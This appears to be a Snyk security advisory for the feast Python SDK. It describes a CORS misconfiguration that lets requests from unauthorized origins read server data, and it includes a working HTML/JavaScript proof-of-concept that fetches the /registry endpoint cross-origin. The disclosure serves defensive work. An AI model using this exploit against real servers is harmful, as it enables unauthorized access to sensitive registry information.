Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsThere is no fixed version for feast
.
feast is a Python SDK for Feast
Affected versions of this package are vulnerable to Origin Validation Error due to improper CORS configuration on the server. An attacker can bypass security controls and potentially access sensitive information by sending requests from unauthorized origins.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CORS PoC</title>
</head>
<body>
<h1>CORS Exploit PoC</h1>
<button onclick="exploit()">Exploit</button>
<script>
function exploit() {
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://172.25.83.162:8888/registry", true);
xhr.onreadystatechange = function() {
if (xhr.readyState === XMLHttpRequest.DONE) {
if (xhr.status === 200) {
// Alert the response from the vulnerable server
alert("Response from server: " + xhr.responseText);
} else {
alert("Request failed. Status: " + xhr.status);
}
}
};
xhr.send();
}
</script>
</body>
</html>